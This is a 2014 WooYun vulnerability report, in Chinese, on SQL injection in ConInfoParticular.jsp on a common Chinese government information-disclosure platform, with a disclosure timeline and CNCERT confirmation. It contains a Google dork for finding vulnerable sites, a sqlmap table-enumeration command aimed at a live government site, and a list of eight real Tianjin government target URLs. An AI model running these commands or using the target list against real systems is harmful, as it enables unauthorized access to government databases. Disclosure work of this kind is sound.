当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051318

漏洞标题:某通用型政府信息公开平台SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: magerx

提交时间:2014-02-18 17:29

修复时间:2014-04-04 17:30

公开时间:2014-04-04 17:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-23: 厂商已经确认,细节仅向厂商公开
2014-03-05: 细节向核心白帽子及相关领域专家公开
2014-03-15: 细节向普通白帽子公开
2014-03-25: 细节向实习白帽子公开
2014-04-04: 细节向公众公开

简要描述:

虽是很简单的注入,但影响的gov很多

详细说明:

1.漏洞存在ConInfoParticular.jsp文件,页面可通过POST、GET方式获取参数id的值,且均未过滤,导致SQL注入漏洞
2.googledork:site:gov.cn inurl:ConInfoParticular.jsp?id

http://74.125.235.191/#newwindow=1&q=site:gov.cn+inurl:ConInfoParticular.jsp%3Fid


google搜索结果:约 153,000 条结果

googletest.jpg


3.以其中静海县政府信息公开网测试:

http://gk.tjjh.gov.cn/ConInfoParticular.jsp?id=5367


以get方式测试,post方式一样。
获取tables测试:

sqlmap -u "http://gk.tjjh.gov.cn/ConInfoParticular.jsp?id=5367" --dbms "mysql" --tables


injectiontest.jpg


4.提供几个站点,方便复现测试:
http://gk.tjjh.gov.cn/ConInfoParticular.jsp?id=5367
http://gk.tjhqqzf.gov.cn/ConInfoParticular.jsp?id=4879
http://info.tjjn.gov.cn/ConInfoParticular.jsp?id=508
http://zfxxgk.bh.gov.cn/ConInfoParticular.jsp?id=1605
http://www.tjnh.gov.cn:7002/ConInfoParticular.jsp?id=2206
http://zwgk.tjhexi.gov.cn:8080/ConInfoParticular.jsp?id=1192
http://gk.tjnk.gov.cn/ConInfoParticular.jsp?id=997
http://xinxigk.baodi.gov.cn/ConInfoParticular.jsp?id=21
………………
应该足够用于复现并体现其通用性了。

漏洞证明:

googletest.jpg


injectiontest.jpg


http://gk.tjjh.gov.cn/ConInfoParticular.jsp?id=5367
http://gk.tjhqqzf.gov.cn/ConInfoParticular.jsp?id=4879
http://info.tjjn.gov.cn/ConInfoParticular.jsp?id=508
http://zfxxgk.bh.gov.cn/ConInfoParticular.jsp?id=1605
http://www.tjnh.gov.cn:7002/ConInfoParticular.jsp?id=2206
http://zwgk.tjhexi.gov.cn:8080/ConInfoParticular.jsp?id=1192
http://gk.tjnk.gov.cn/ConInfoParticular.jsp?id=997
http://xinxigk.baodi.gov.cn/ConInfoParticular.jsp?id=21
………………

修复方案:

过滤

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-02-23 11:38

厂商回复:

CNVD确认并复现所述情况,主要涉及天津市,已经转由CNCERT下发给天津分中心处置。

最新状态:

暂无